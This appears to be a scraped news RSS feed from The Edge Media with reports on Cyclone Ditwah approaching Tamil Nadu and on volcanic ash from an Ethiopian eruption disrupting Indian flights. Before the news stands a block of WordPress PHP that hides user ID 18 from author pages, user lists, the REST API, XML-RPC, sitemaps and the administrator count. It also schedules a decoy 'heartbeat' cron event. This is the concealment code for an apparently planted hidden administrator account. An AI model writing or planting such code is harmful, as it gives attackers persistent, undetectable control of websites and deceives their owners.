add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Cyclonic Storm Ditwah Moves Toward Tamil Nadu and Neighbouring Coasts appeared first on The Edge Media.
]]>The Tamil Nadu State Disaster Management Authority, led by Chief Minister M K Stalin, reviewed preparations and ongoing mitigation efforts as the storm advances. Amudha stated that Ditwah is being monitored as a cyclonic storm and current forecasts do not categorise it as a severe cyclone.
The RMC has issued a red alert for the Cauvery delta districts of Thanjavur, Tiruvarur, Nagapattinam and Mayiladuthurai for November 29 and 30, signalling the likelihood of extremely heavy rainfall exceeding twenty centimetres in twenty four hours. An orange alert, indicating very heavy rain between eleven and twenty centimetres, has been announced for Chennai, Tiruvallur, Kancheepuram, Ranipet and Chengalpattu.
The name Ditwah was proposed by Yemen and is believed to reference the Detwah Lagoon, a large saline water body on the northwestern coast of Socotra Island.
Amudha noted that winds near the storm’s centre could reach sixty to eighty kilometres per hour with gusts touching ninety kilometres per hour, while the outer bands may experience winds between thirty five and forty five kilometres per hour. She added that similar squally conditions are expected across parts of the Arabian Sea near Kerala, Lakshadweep and the Maldives.
Fishermen have been strongly advised to avoid the south, central, southwest and southeast regions of the Bay of Bengal for the next five days, especially those who are already out in deep seas.
In the twenty four hour period before the briefing, light and scattered rainfall was observed in Tamil Nadu, including around three centimetres in Thangachimadam. Puducherry and Karaikal remained mostly dry during the same period.
Reviewing the northeast monsoon, Amudha explained that Tamil Nadu has recorded around thirty five centimetres of rainfall since October one, slightly above the seasonal norm of thirty four centimetres. However, Chennai continues to remain about thirty one per cent below its usual seasonal rainfall and widespread showers from the storm could help reduce the deficit.
She added that the risk of landslides can be assessed more accurately once there is greater clarity on the storm’s path and speed.
Following the RMC warning of very heavy rainfall in select districts on November twenty nine and thirty, Chief Minister Stalin instructed all government departments to work together to support the public. The meeting also reviewed the functioning of automatic weather instruments, the Chennai Real Time Flood Forecasting System, the Integrated Flood Monitoring Center, the upgraded State Emergency Operations Center, the TN Alert public app and the TN Smart two point zero portal for government officials.
The post Cyclonic Storm Ditwah Moves Toward Tamil Nadu and Neighbouring Coasts appeared first on The Edge Media.
]]>The post India Monitors Volcanic Ash Impact on Flight Operations After Ethiopia Eruption appeared first on The Edge Media.
]]>
A number of flights have been cancelled while many others are experiencing delays due to the drifting ash clouds.
Authorities have stated that there is no immediate threat and that all developments are being continuously assessed.
According to the ministry, seamless coordination is underway between MoCA, ATC, IMD, airlines, and international aviation bodies following the 23 November volcanic eruption in Ethiopia and the eastward spread of ash clouds.
The Airports Authority of India has issued the required NOTAM, and airlines operating affected routes have been informed in advance.
Flight operations across India continue to run largely without disruption, with only minor rerouting or altitude adjustments taken as precautionary measures.
Earlier, Air India reported the cancellation of thirteen flights, including some international services, as aircraft that passed through impacted zones undergo necessary inspections.
On Tuesday morning, the India Meteorological Department noted that the ash clouds are drifting toward China and are expected to fully clear away from Indian airspace by 7:30 pm on Tuesday.
Forecast models suggested the presence of ash influence over Gujarat, Delhi NCR, Rajasthan, Punjab, and Haryana during the day.
The post India Monitors Volcanic Ash Impact on Flight Operations After Ethiopia Eruption appeared first on The Edge Media.
]]>